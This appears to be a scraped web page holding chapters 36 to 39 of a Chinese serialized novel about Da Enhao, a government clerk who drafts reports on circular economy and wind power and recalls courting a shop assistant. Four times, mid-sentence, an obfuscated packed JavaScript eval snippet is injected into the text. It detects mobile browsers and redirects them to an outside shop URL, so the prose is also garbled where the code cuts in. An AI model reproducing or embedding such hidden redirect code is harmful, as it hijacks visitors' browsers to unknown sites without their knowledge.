河陇省政府办公厅批转省供销社关于加强农村现代流通服务网络建设工作意见的通知 ……滨河市委办公厅关于印发《滨河市……新农村建设规划纲要》的通知 ……滨河市委办公厅转发滨河市统筹城乡发展和建设……新农村协调领导小组《关于进一步加强新农村建设试点示范工作意见》的通知 ……滨河市委关于进一步做好农村扶贫开发帮扶工作的意见 ……滨河市委关于印发《滨河市“新农村建设人才保障工程”实施方案》的通知 滨河市政府关于解决农民工问题的实施意见 工业经济 滨河市政府关于装备制造业发展年工作安排的意见 滨河市政府关于印发《滨河市市属国有企业监事会暂行办法》的通知 节能减排 华夏国的能源状况与政策 国府院关于印发节能减排综合性工作方案的通知 滨河省政府关于印发节能减排综合实施方案的通知 滨河市政府关于印发滨河市节约能源实施方案的通知 滨河市政府关于进一步加强节能减排部门工作责任制的实施意见 滨河市政府关于落实……加强环境保护的实施意见 滨河市政府办公厅关于印发滨河市有效控制高耗能高污染行业过快增长实施办法的通知 ……滨河市委办公厅关于加强政府机构节约能源工作的意见 城市建设 国府院关于促进资源型城市可持续发展的若干意见 ……滨河市委办公厅关于进一步做好创建全国文明城市工作的通知 滨河市政府办公厅关于转发滨河市2007年创建国家卫生城市重点工作实施方案的通知 财政税收 滨河市政府关于印发房地产和建筑业税收一体化管理暂行规定的通知 ……滨河市委 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204717|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办公厅关于印发《滨河市市属国有企业负责人经营业绩考核暂行办法》和《滨河市市属国有企业财务总监管理暂行办法》的通知 社会事业 国府院批转卫生事业发展“十一五”规划纲要的通知 国府院批转教育部国家教育事业发展“十一五”规划纲要的通知 国府院关于开展城镇居民基本医疗保险试点的指导意见 河陇省城镇居民基本医疗保险实施方案 滨河市政府关于印发《滨河市城镇居民基本医疗保险实施细则（试行）》的通知 滨河市政府关于《滨河市城镇居民基本医疗保险实施细则（试行）》有关问题的补充通知 滨河市政府关于进一步发展城市社区卫生服务的意见 滨河市政府办公厅关于印发滨河市社区卫生服务体系建设国家重点联系城市工作实施方案的通知 ……滨河市委办公厅印发《关于进一步深化市属部分医院人事制度改革的实施意见》的通知 滨河市政府办公厅转发市物价局市卫生局关于整顿和规范全市医疗服务价格收费行为的实施意见的通知 民生保障 国府院关于在全国建立农村最低生活保障制度的通知 国府院关于解决城市低收入家庭住房困难的若干意见 河陇省政府关于解决城市低收入家庭住房困难的意见 河陇省政府办公厅关于进一步做好农村最低生活保障工作的通知 滨河市政府关于加强民政工作的意见 滨河市政府办公厅关于印发滨河市低收入家庭住房状况调查实施方案的通知 滨河市政府关于改进和完善下岗失业人员小额担保贷款办法的通知 滨河市政府办公厅关于印发滨河市城乡低收入居民取暖费补贴实施办法的通知 滨河市政府办公厅关于印发滨河市推进企业解决工资拖欠问题的实施意见的通知 滨河市政府办公厅转发《河陇省政府办公厅关于进一步加强民生价格监管工作的通知》的通知 滨河市政府关于印发《滨河市价格调节基金征收使用规定（试行）》的通知 滨河市政府办公厅转发市物价局关于深入开展价格服务进万家活动实施意见的通知” …… 达恩豪下午下班回家，吃过晚饭看完电视后，躺在床上休息，不觉见就进入了梦乡…… 这小伙儿在单位职工食堂，看着女大师傅围着个深蓝色的围裙子，招呼完了他，走返身走进去套间里的厨房忙活去了，就拣了个圆形低矮小饭桌里面的位置，下面的一个小凳子坐下了，等着开饭。 “小达吃饭。”女大师傅端上一来一大碟子热气腾腾的拉条子，白亮的面皮上，还冒着白色的热气，还端上来多半碗洋芋丁炒肉臊子。 “大师傅你今天给我们做的拉条子，真香！”这小伙儿早就知道这女大师傅最拿手的饭，就是这个拉条子拌饭，一边拌饭，又是倒饭桌中央放的醋，又是放一筷头油波辣子，搅拌匀了，再把自己的那份炒菜倒进拌好醋辣的面皮上，再搅拌一下，最后又掰了一瓣蒜蒜，一边笑着这样夸赞这女大师傅道。 36. 第 36 章 第三十六章电传材料 “家常便饭，谁都会做，马马胡胡。”女大师傅站在旁边，一边两手习惯性地在围裙上擦两下，一边微笑着对这小伙儿这样说道。看又进来吃饭的单位职工了，就赶紧钻进套间厨房里忙活去了…… 这小伙儿吃完中午饭，已是头和身上微微发热，热饭热菜，再加上拌了辣子油，还就着大蒜才吃拉条子，头上鼻尖上者出了白毛汗。 从楼前转到南侧门，上楼回了自己的办公室里，不，准确地说是办公室兼卧室，在单位工作的单身汉，就是这样的条件。这小伙儿床上躺一阵，又睡不着，从来也没有午休睡觉的习惯，晚上都时常就睡不着了，偶尔失眠呢，大白天的更是睡不着。 这小伙儿在床上躺了一会儿，睡不着觉，就起来坐到办公桌后面的椅子上，找了一本杂志翻看，过一阵把杂志丢一旁边，又搜出一本小说翻看。 等待时间的时候，时间特别的难打发。下午两点半单位上班时间了，虽然单位上没事也没有人管，但这小伙儿把自己当个半个知识分子，或者是小知识分子，还平时非常自觉，遵守纪律，遵守制度，上班不迟到不早退，这时，正儿八经开始上班了，扔了小说不看，拿起桌上的专业方面的杂志，书籍和资料翻阅学习。 心不在焉地挨到三点半，这时这小伙儿抬腕一看时间到了，就急急忙忙下楼，从单位大楼一楼南侧门溜了出来，悄悄骑上自行车，从单位楼前的大院穿过大门，南拐上了门前的公路，向县城方向进发。 这小伙儿骑的自行车，虽然是普通的自行车，但它可不是普通的自行车，它是这小伙儿从单位作价购买的公车，分新旧程度，几元钱到一百多元的价格购得，他和同事们下乡工作时的自备自带自用的交通工具。单位的汽车是一辆七座的中巴面包车，上有一个化验台，还是流动化验用的工作车，就这辆公车，只能单位的领导坐，公派集体出行时安排职工们坐一下的。 这自行车带着这小伙儿一路奔跑，直行下坡，左拐，再直行上坡，等一列火车过去，穿过铁路道口，下小坡，右拐上路进街道，慢下坡，往前平路进县城繁华路段。 这小伙儿不经意间向左迅速地瞄一眼，这自行车已骑过了这小伙儿很难熟悉的地方，大院里平房中间“副经理室”，他和美女谈恋爱的地方，这美女在父亲公司大院里的，隔壁是他去美女家蹭饭的家里，一个套间的平房。 这自行车继续沿着这个一条街道的小县城，最繁华最中心区的一段马路前进，这小伙儿想心事，不觉间就到了该要转弯的地方，县邮局兰原宾馆丁字路口。 这小伙儿左顾右盼，眼观六路，耳听八方，瞅准没车没人的空子，往左手拐进旁边的街道，不远处就到了兰原县委县政府大院南边，这条街道南边的兰原县电影院门前。 跳下自行车，这小伙儿扶着自行车，站稳了转头看时，果然电影院大门旁边，东头的售票窗口的小洞口开着的。他瞄了一眼，门口西边墙上贴着大幅的电影海报，其中一张好像是《高粱红》，大导演老谋子执导的大片，这时已在全国火热上映。 “师傅，买两张票。”这小伙儿一边这样说着，边把衣兜里掏出来的二十元钱递进了售票窗口的小门洞里。不到一分钟，就从售票窗口的小门洞里，放出来一张花花绿绿的纸片儿。 这小伙儿拿着这个花纸片儿细看，是一张未撕开两联的电影票，同一排座号双号相联，还是最小的号，也就是最中间的号，排号还是最中间的排，在最中央位置，今天是享受回最高待遇的电影座位号。 看来是电影由于受到电视的冲击，看电影的人越来越少了。虽然是音响效果好，立体感较强，气场氛围感强烈，银幕形象大，画面清晰，曾经是国人最喜欢的文化生活之一，但被迅猛发展的电视所替代，市场比较潇条萎谜了，大为冷落了。 这小伙儿慎重其实地装好这两张电影票，又压一压装着电影票衣兜的外面，这才放心地从身上摸出自行车钥匙，走到自己的自行车旁边，插进后面的车锁眼中一拧，“哐”一声打开自行车锁。双手握着车把上，右脚打起车承子，推着自行车向前用力猛一冲，左脚一踩自行车左踏板上，右腿后甩再向前一甩，右脚踩到右踏板上，屁股稳稳坐在了车骑上，自行车向前行驶起来。 骑车出了兰原县电影院大门前的小广场，左拐就进了兰原县委县政府大门前的大街，这小伙儿骑着自行车到了兰原县邮电局和对面兰原县宾馆丁字路口，看没车没人时，向左拐上了小县城最繁华的主街道，这也是一条国道干线，沿着这条大道向南行驶。 这小伙儿怎么走错路了？方向正好和回单位的方向相反了，南辕北辙，大相径庭，而不是向北沿这条国道主街道上行上坡，才是正确的路线，最便捷的路线，最快的路线了，才能回到这小伙儿的工作单位，生活的驻地，兰原县农技服务中心大楼大院，这究竟是为什么呢？ 这自行车带着这小伙儿，一路向南下行下坡，不一会儿穿过大街，到对面一幢大楼，上面有红十字标志，就来到了兰原县医院大门口，继续南行下行下坡，穿过这医院向西开着的大门。这小伙儿赶紧放慢速度，手握紧刹车起身往后甩右腿，跳下自行车，就到了一家商店门前，上面的门头字是“兰原县糖酒公司第三门市部”，他把自行车停放在了的这个门市部门口旁边。 “哧啦”一响，这小伙儿锁车，装上车钥匙，向这商店而行，登上两层的水泥台阶，就进了这家商店的前面敞开着的中间的大门了。 “你怎么跑这儿来了，不在单位好好上班？！”这美女正胸佩戴工号牌的徽章，两前臂上套着护袖，低下身子在长长的柜台下面寻找一件商品，起身给面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220798|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站着的一位顾客挑选，突然看见进门站住看他的这小伙儿，一边脸上飞红面烧耳热，在长长的柜台里面，向这小伙儿这边走了两步停下，一边有点嗔怒地对这小伙儿这样说道。说完了在这长长的柜台里又转身走回去两步，看着这位顾客挑选这种商品，暂时把这小伙儿晒在一边不管，去忙自己的工作。 “佳，我们今天晚一齐上去电影院看电影！”这小伙儿这时定定地站在商店里面，在长长的柜台外面耐心地等待，不时走来走去，踱上两个方步，并不着急，知道着急也没有用。 “……”这美女并不答腔，也无暇顾及这小伙儿献殷情，主动送来电影票。跟来跟去的，这美女正在招呼商店里柜台前，走来走去，为数不多的两三个顾客。 “什么片子？今晚回家吃饭的时候再说也不迟呀！”现在市场放开搞活了，个体商店越来越多了，国营商店冷清了不少。等这门市部仅有的里可怜的两三个顾客，被这美女服务给打发送出了这商店的门后，赶紧从长长柜台里面走过来，长眉一挑，细眼一瞪，大小姐脾气上来了，对这小伙儿又是询问，又是指教地这样说道。 “《高粱红》，国家级名导老谋子的大作，听说特好看的！”这小伙儿在长长的柜台外面，赶紧也向前迎了几步，对这美女服务员微笑着，有点卖弄似的，装作电影知识渊博地样子，两眼满含激情，目光闪亮地这样说道。 “好的，晚上吃饭时见，就一齐过去看吧。不好好上班领导会批评的，赶紧回单位上班去！”这美女服务员假装收住笑容，色厉内荏地对这小伙儿这样说道。说完了这商店的前门里又进来了顾客，这美女服务员了下这小伙称，跟着顾客过去招呼去了。 “……”这小伙儿看，暂时再没有和这美女服务员说话的机会了，邀请这美女服务员今天晚上一齐看电影，她痛痛快快地答应了，任务完成了，心里美滋滋地，就会心地笑着转身，脚步轻盈地走出了这家商店的前门，下台阶，开锁骑自行车，嘴里哼哼着不知名的歌曲，向北而行，回单位去了。 …… “达处长，常市长是全国人大代表，在全国人代会期间，分组讨论时有个发言材料你赶紧起草一下，时间紧张，明天就要，你辛苦加个班，明天早上上班给我，我交给办公厅，他们立即电传给首都的常市长下午开会时用。”第二天，在单位上班时间，金学盛打电话，喊达恩豪到主任办公室去一下，给他安排布置一项紧急任务，还是个大任务，火急火燎地对他这样说道。 达恩豪在单位电脑上，因为家里也没有，加班到晚上三点才弄完材料回家的。第二天早上上班到单位，把纸质版材料交给金学盛看，主任啥话都没有说，让我把材料电子版发拷到他的U盘上，就风风火火拿上材料和U盘下三楼到政府办公去了。反正再没来找他修改，材料一定是过关会上使用了。 37. 第 37 章 第三十七章尴尬拘紧 这份材料不长，达恩豪也就写了5页2300多字，大至内容如下： “大力发展循环经济，积极推进节能减排 牢固树立生态文明的发展理念，把粗放型经济增长转变为集约型经济增长，使经济发展与资源、环境相协调，尽快形成节约能源资源和保护生态环境的产业结构、增长方式、消费方式。要把节能减排作为结构调整的核心内容加以推进。大力发展资源消耗低、环境污染小、附加值高的产业，不断优化工业增量结构。严格控制新建高耗能、高污染企业，严把建设项目准入关，提高市场准入条件。推进老企业技术改造，加大污染源治理削减力度，有效降低企业生产能耗和对环境的污染。加强对高耗能、高污染企业监控，坚决淘汰一批“高耗能、高污染、高排放”的工艺装备，有步骤地实行“关、停、改”，腾出能源和环境空间发展新产业，发展新型生态经济，推动发展方式转变。建立起有利于循环经济发展的宏观调控体系和运行机制，形成符合河陇和滨河实际的循环经济发展模式。 一、科学确定发展循环经济的战略重点 加快构建循环经济产业体系，大力调整产业结构特别是工业结构，积极优化提升用能节能减降耗结构。着力构建煤油气—合成材料—精细化工、煤电—冶金—新材料、材料—零部件—装备制造和农产品—初加工—医药食品四大产业链。着力抓好工业、建筑、交通运输、商业和民用，以及农村、政府机关等重点领域节能降耗减排。组织实施工业锅炉（炉窑）改造、区域热电联产、余热余压中水利用、电机系列、能量系统优化、建筑建材、绿色照明、政府机关、新能源可再生能源开发利用、节能监测和技术服务体系建设等十大节能减排工程。 一是大力开展工业节能降耗技术改造，促进传统产业优化升级。石化、冶金、建材工业是我市的区域支柱产业，也是高耗能和资源型行业，促进环保和发展循环经济潜力巨大。要实施节能降耗技术改造，更新装备净化、回收、处理、检测生产中产生的粉尘、烟气、污水、废物等环保设备。二是积极推广生态农业技术。抓住建设新近农村的有利时机，积极推广高效节能日光温室种植、养殖（猪、鸡）、沼气、厕所“四位一体”生态农业模式，高架节能日光温室种植，暖棚养殖，塑料大棚和地膜覆盖种植，喷灌、滴灌、微灌、集雨节灌，青贮氨化微贮饲料，农作物秸秆汽化、家用沼气、太阳灶、节能灶等生态农业技术，“种植（饲料）—养殖（肥料）—种植”产业循环圈，“种植（养殖）—精深加工—贮运销售”产业链，“种植（饲料）—养殖（养猪）—再养殖（猪粪养鸡）—水产养殖（鸡粪养鱼）—种植（鱼塘沤肥用于种植）”等循环农业经济模式。并抓好生态小康村建设工程。三是着力发展生态旅游业。旅游业是生态、环保、绿色产业，又称“无烟产业”。滨河旅游业要充分展示“黄河明珠、山水风光、丝路重镇、水车之都”的自然风光和人文景观，继续建设以航道开发、河堤构筑、路桥建设、绿化亮化、景观再造五位一体的百里黄河旅游风情线，着力打造富贵山风景名胜区、山河关文化苑、霍城高原古镇、泥什田园风光旅游区及菩萨峪和土司沟自然风光旅游区等精品景点，建设以滨河为中心的旅游经济圈。四是大力发展商贸服务业。推动第三产业加快发展，有利于解决劳动就业问题，有利于将人力人才资源优势转化为经济优势，有利于促进经济增长主要依靠工业带动和数量扩张带动，向三次产业协调带动和优化升级带动的转变，立足于商贸易中心城市以及西部交通枢纽的有利地位，充分发挥服务业能耗低、污染少的优势，推动区域经济又好又快发展。实施滨河市现代服务业“6666”创业工程，着力打造新城区商务中心、北大川空港物流产业区、槐间杨家营高原夏菜物流区、青藏物流园区、禾川堡集装箱及对外贸易物流园区、西城石化物流产业园区等六大产业区块，以兴办华夏国滨河美食节，打造精品文化产业，整合黄河风情旅游资源，加快发展会展经济，着力培育大型物流团队，大力推广新型现代业态为突破口，力争在“十一五”末或更短的时间内，服务业产值年均增长高于GDP的增长速度，最终实现服务业产值占GDP的比重达到60%以上，服务业中非公经济的比重达到65%以上，服务业吸纳的城乡从业人员占全市就业人员的比重达到60%以上，服务业创造税收占全市财税收入的60%以上，努力把我市建设成为西北现代服务业中心。 二、大力开发资源回收和再利用产业 一是逐步建立废物分类回收循环利用体系。培养市民自觉分拣、分类投放废物垃圾意识，在社区、公共场所等设立废物分类回收设施，废品回收和再生资源企业定期拉运回收，进入循环经济企业再利用。整合现有的各级各类废品回收和再生资源企业组织，试点推广再生资源合作社，做大做强废物分类回收循环利用产业。二是大力开发钢渣、粉煤灰的回收加工利用产业。充分回收加工利用冶金工业钢渣、粉煤灰等下角料、废料，重点开发生产钢渣、粉煤灰空心砖和保温节能墙砖，使它们成为物美价廉、市场广阔的优质建筑（墙体）材料产品。三是推广屋顶水的再利用技术。采用屋顶接水的办法，净化处理、集蓄、贮藏屋顶水，循环利用天然降水（雪）资源。全市城市屋顶面积按40%利用，可达400万平方米，按年正常降水量260毫米计算，年可利用屋顶水约1000万吨以上。 三、全面落实保障措施 加强宣传，提高认识，搞好规划指导。大力示范微观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228974|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 循环经济试点，在企业内部建立小循环。大力推广中观循环经济系统，在行业建立线上的中循环。大力发展宏观循环经济体系，在社会领域建立面上的大循环。实行科学管理考核，推进工作任务落实，建立目标责任和评价考核制度，实行节能减排三年不能完成任务者一票否决。完善制度建设，建立健全促进循环经济发展的保障体系。实施固定资产投资项目节能评估和专题论证。加强能源统计和计量管理。构建节能监察执法体系。健全政策激励机制，表彰奖励节能减排循环经济发展好的先进典型，推动循环经济逐步向高档次、高水平迈进。加快建设发展循环经济节能减排管理人才队伍。健全机构，加强对发展循环经济节能减排工作的组织领导。” …… 达恩豪下午下班回家，吃过晚饭，新闻联播看完，又追了两集电视连续剧，关了电视，上床睡觉，不久就发出了轻微的鼾声…… 这小伙儿骑着自行车往单位方向赶路，虽然是向北上行的上坡路，骑车特别费劲，脚下猛踩自行车脚踏板，用力骑车，但他心里高兴，感觉轻松愉快。 左拐西行，冲上小坡路，这时铁道上没有火车通过，不下自行车，穿过铁路道班口，一直向前，下慢坡再平路，踩踏自行车脚踏板，再上坡往右拐，继续北行上坡，继续用力踩自行车脚踏板，不久就看见单位大楼大院了。 这小伙儿骑着自行车左拐西行，进了单位大院大门，再左拐南行，从单位楼前大院水泥场地南行，到单位大楼南端水泥场院右拐西行，立即跳下车来，把这自行车支起承子，“哧啦”拉上车锁，拔出钥匙，边装钥匙边进了单位大楼南边的侧门，向北穿过一楼楼道，到中间门厅左拐，沿中间宽大的楼梯，上了三楼自己的办公室里。 坐在办公室的这小伙儿，人在单位办公室里，但这心却早已飞到那美女服务员身边去了，一副心不在焉，慌慌不可终日的样子。手里拿着一本专业技术的杂志，翻了几下也实在是看不下去，用不上心思，就扔到办公桌一边。再起身到床上找一本小说，随便翻了一页想看，也看不进去，眼睛在书页上，心却像大花蝴蝶一样飞到别处去了。 挨到还有半小时就下班的时候，这小伙儿轻轻走出办公室，返身轻轻关上房间门，锁了办公室，转身走楼道，悄悄奔大楼中间的楼梯口，快速而轻手轻脚地从三楼，拾阶而下到一楼门厅后面，右拐沿一楼楼道南行，到这大楼的南侧门出去，找到自己的自行车旁边，开锁骑车，绕一个大S就出了单位大院上了门前的公路上。 这小伙儿骑着自行车，左拐，右拐，不是平路，就是下坡路，一直下行南行，不到半个小时，就进入这小县城的最繁华主街道后，往前一拐来到大街的左手东边，从挂着“兰原县食品公司”牌子的大院里进去。 38. 第 38 章 第三十八章助理助理 锁好自行车，这小伙儿又进了这大院东北角一个房门，那个美女服务员的家里，借这个邀请这服务员美女一齐看去电影，又来蹭饭吃，这美女早就做好了晚饭。 这小伙儿吃了饭，就和这美女一前一后走着，出了家里的门，对角线斜穿大院中间的空场地，就到了大门旁边，出了这家公司大院，来到了大街上。 天已擦黑，小县城主街道最繁华路段，路灯已亮了。这小伙儿和这美女一并排走着，沿着这一条主街道东边的人行道往下行南走。 这高杆上的路灯，好像是被黑夜给包围和压制下，在夜晚发出微弱的亮光。这场景就好似一张黑色的大布上，撒了几颗白色的米粒一样，黑暗的底色太强，灯的白色太弱小了，反差和对比是如此地强烈明显。 “没看见大街上有人，碰见熟人看到了怪难为情的。”这小伙儿乘着这夜色黑暗的掩护，感情有些冲动，想有所行动，下意识靠近这美女，抬手想拉着他这边的一只手，没有想到一下被这美女像怕蛇咬一样的挣脱，甩开了，链接中断，然后对他边走着边这样悄声警告提醒道。 “……”这小伙儿无言以对，一边把这自己这只被甩开断链的手，赶紧缩回来，放自然了，保持原来的状态，一边在这美女旁边一齐继续往前走着，一路是向南向下而行。 “唉！！！”这小伙儿想在大街上牵手走一回，想光明正大腻歪一下，秀个恩爱甜蜜幸福的美梦瞬间就粉碎了，破灭了！感觉到非常地失望，就长长地叹了一口气。其实这不县城的大街上，这时也没有什么人，都刚刚吃过晚饭，待在家里，坐在沙发凳子椅子上看完了新闻，正在追电视剧里。 “小达，我本来就不喜欢看电影，时间长了再没有看过，也照顾一下你的情绪。”这美女边不紧不慢地走着，长眉一挑，细眼一瞪，边看一眼身旁一齐走着的这小伙儿，话峰突然这么一转，就来了个爱的施舍，爱的赏赐，有些顽皮地口气嘻笑着这样说道。 “那就多谢娘子了，小生这厢有礼了！”这小伙儿见氛围很好，时机来了要抓住，就厚脸皮风趣地开起玩笑来，一边走着，转身两手抱拳，打拱作揖，又是低头的，一边对身旁边走着的这美女，嘻皮笑脸地这样说道，像唱在戏一样。 “不知羞耻啊，谁是你娘子？”这美女一边往下向南，沿街门店大门前的人行道行走，一边转脸嘻笑着瞧一眼同路人，用嗔怒的口吻，质问的语气，又是笑骂又是反问，对身旁同样一排走着的这小伙儿如此说道。 “我的小娘子，不就‘近在眼前，远在天边’吗！”这小伙儿不以为耻反以为荣，一边和这美女并排走向南沿街道边的人行道走着，一边转脸眼盯她坏坏地笑着这样说道。有句老话怎么说得：“小伙儿不坏，姑娘不爱吗！” “我还没有想好呢，谁想给你当就找谁去啊！”这美女知道这小伙儿和她谈恋爱，一直撵着她转，想必是看上她了，虽然她也看上这小伙儿了，不然也不会给他蹭饭吃，不会主动找自己父亲的办公室，作为约会和谈情说爱的场地，都还又是拉手，又是拥抱，又是……那个的，但是，嘴上不能承认，假装还没有最后决定和他好，又路还长着呢，女孩子要矜持一点噢！ “那好吧，你是我未来的小娘子，行了吧！”这小伙儿退让一步，不要喊我的小娘子，那就说是未来的我的小娘子总可以了吧，这时一边对这美女陪着一张灿烂如花的笑脸儿，一边向南同行着赶紧这样改口道。情场高手有道是：“好姑娘就怕癞猫缠”，谈恋爱的经验一句话，就是“死缠烂打”，也就这四个字。 “以后也还说不上是谁的，是未来的就现在别叫了，到了以后适当的时候再说去？！”这美女得礼不饶人，对这小伙儿也是穷追猛打，不让他瞎叫唤，乱称呼的，长眉一挑，细眼一睁，瞅着同行的他这样边走边说道。 “那好吧，依了你就这样改口，叫你是我的初恋情人！”这小伙儿自知理亏了，就开始低头认错，但又不甘心，眉头一皱，眼珠子滴溜溜这么一转，计上心头，就口是心非，边走边对这美女嘻皮笑脸地这样说道。 “我只知道我，谁知道你是不是初恋，说这话也不知害臊啊？！”这美女带着微笑，虽然听起来很认真的样子，但也嘻笑怒骂相配合，不害怕，不怯场，一边两个人同行向南，一边对这小伙儿半开玩笑半认真地这样说道，又是感叹，又是质问怀疑。俗话说得好：“笑话是实话”，又道是：“酒话是实话”，醉话吐心声，“酒后露真言”是也。 “那我叫你小心肝可好？”这小伙儿为了打破尴尬局面，灵机一动，突然话峰又这么一转，嘻皮笑脸地转头瞧一眼，一边向南同行着，一边对这美女这样说道。 “你嘴太甜了吧，你真坏啊！”这美女听了这小伙儿这样叫她，多么亲昵的称呼，她感觉一阵甜蜜幸福的滋味，心里原来是想答应“好的”，但女孩子的矜持，复杂的心理，矛盾，又喜欢，又不习惯，又同意，又嘻笑怒骂，最后出口的话就成了这样的了。 “佳，那我叫你小宝贝可好？”这小伙儿猜想这美女又想听又不想听这样的称呼，看出了心里话和表面矜持的矛盾的心理，就又来劲了，乘势而上，再继续腻歪，就连喜鹊登梅花一样，喳喳地叫，嘻皮笑脸地边继续向南同行，边对这美女这样说道。 “你嘴上像抹蜜糖了，虚假意的吗？！”这美女虽然是听了小伙儿如此甜蜜幸福的称呼，一时也心里感觉特别的高兴，但女孩子的矜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240156|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持又占了上风头，脸红耳热地边继续向下两人一路并排走着，边对这小伙儿这样说道，又是嘻笑怒骂，又是质疑感叹…… 一对青年男女，两个人在黑夜的大街上，在昏暗的灯光下，一边并排走路，时明时暗的，一边打情骂俏了一阵，俗话说得好：“打是痛骂是爱”，甜蜜幸福的时光总是过得好快，好快，不觉间，来到县邮电局兰原宾馆和县委县政府大院的“丁”字路口，向东左拐过去走不远，过县委县政府大院大门，南行过这条街道，对面就到了县电影大门口。 …… “达处长，新能源风电光伏是我们大西北地区，也是我们河陇省经济和产业发展的风向标了，我们滨河市的省长助理、市委副书记常市长，要求我们写一篇关于我们省发展风电产业的政策建议。”第二天，单位上午上班时间，金学盛主任打来电话，把达恩豪从经济发展研究处办公室，喊到他自己的办公室里去，电话上也没有说是什么事情，达恩豪一想肯定没有好事，肯定又是材料的事，不是材料就是调研的事，果不其然，来到主任办公室里，金学盛给达恩豪这样说道。 “金主任，请问是常市长在全国人代会上提的代表建议案？”达恩豪坐在靠窗的双人沙发的一个上，看着坐在对面主任办公桌上抽着一只“黑金刚”精装滨河烟的金学盛，向前欠一欠身子，皱了一下眉头，微笑着这样向领导请示问询道。 “是的。赶紧写，写出来明天早上交给我。”金学盛吐一口浓浓的白色烟雾，往着也猫了一下身子，伸手把眼镜往上推了一下，有点焦急地对达恩豪这样说道。 “请问主任，不是光写滨河市的，而是写我们河陇全省的情况吗？”达恩豪习惯性举起一只左手来，摸一下右侧脑袋上的头发，顺便不经意地挠了一把，又继续向金学盛这样追问道。 “对啊，常市长是我们省的全国人大代表，他还是省长助理啊。”金学盛浓黑的眉毛一挑，习惯性地举一只左手往上推一下眼镜腿框，盯着达恩豪，一本正经地这样回答道。 “好的，我回去马上动笔开始写。”达恩豪想，我这是省长助理的助理的助理了，这活儿能能推掉吗，赶紧干就行了，既然是一样写材料下苦，何不阿Q精神胜利法，自我安慰一下，再痛快地接受任务，让自己也好过，让领导也顺心，就这样笑着说完了，起身拿上茶几上的笔记本和笔，点头告辞领导，走出了这办公室。 达恩豪回自己办公室，开电脑，上网查资料，找材料，忙活到中午，在单位一楼职工食堂草草吃了午饭，回单位六楼不午休，加班弄材料，晚上回家急急吃了口老婆黄爱佳早就做好的晚饭，又跑回到单位办公室加班，到深夜一点多才把材料写完，赶紧等着大院门口打个的回家了。 39. 第 39 章 第三十九章枯燥无味 第二天早上提前来到单位，准备准备，一上班，达恩豪就把材料交给金学盛，主任不说话看完了，只对他说了一个字“好！”达恩豪就退出领导办公室，走回自己的房间去了。 这份材料达恩豪共写了三大块，共7页约3500多字。他记得，内容大意如下： “河陇风电产业发展现状及请求国家给予支持的建议 近年来，在全国上下大力提倡节能减排、鼓励新能源开发利用的背景下，国家组织开展了全国风能资源评价和大型风电场特许权项目建设，风电建设和投产规模明显增加，特别是《可再生能源法》的颁布，极大地调动了全社会投资风电的积极性，有力地推动了我国风电产业的蓬勃发展。 一、河陇风电产业发展前景分析 当前我国确立的和谐社会和可持续发展国策，已经把可再生能源的开发利用列为能源发展的优先领域。风能作为一种永不枯竭、可再生的能源，由于其在减轻环境污染、减少温室气体排放、促进可持续发展方面的突出作用，已公认为是重要的接续能源和战略替代能源，且呈现出良好的发展前景。国家《可再生能源中长期发展规划》明确提出，到……年全国可再生能源消费量将达到总能源消费量的……%，其中风电装机容量从……年的……万千瓦发展到……万千瓦。如果这一目标能够实现，那么到……年之后，风电将超过核电，成为我国第三大电力来源，这为河陇省发展风电产业创造了良好的外部环境。 据有关专家分析，尽管目前每千瓦风电的投资在……万元以上，一次性投入过高，但由于我省风力资源丰富地区具有地形狭长、地域广阔的特点，可根据风力资源和电网分布情况，分片布局、分期投入、滚动发展。而且从长远来看，我国目前的常规能源正在不断减少，……年以后，我国的水资源将完全开发完，而煤炭开采和运输将更加困难，为保持我国经济和社会近……年来的快速可持续发展，我们必须开发和保证新的可再生能源供应，特别是开发和应用成本较低的清洁可再生资源——风能，因为风电是目前我国可再生能源开发中技术最成熟、最具规模开发条件和商业化发展前景的发电方式。 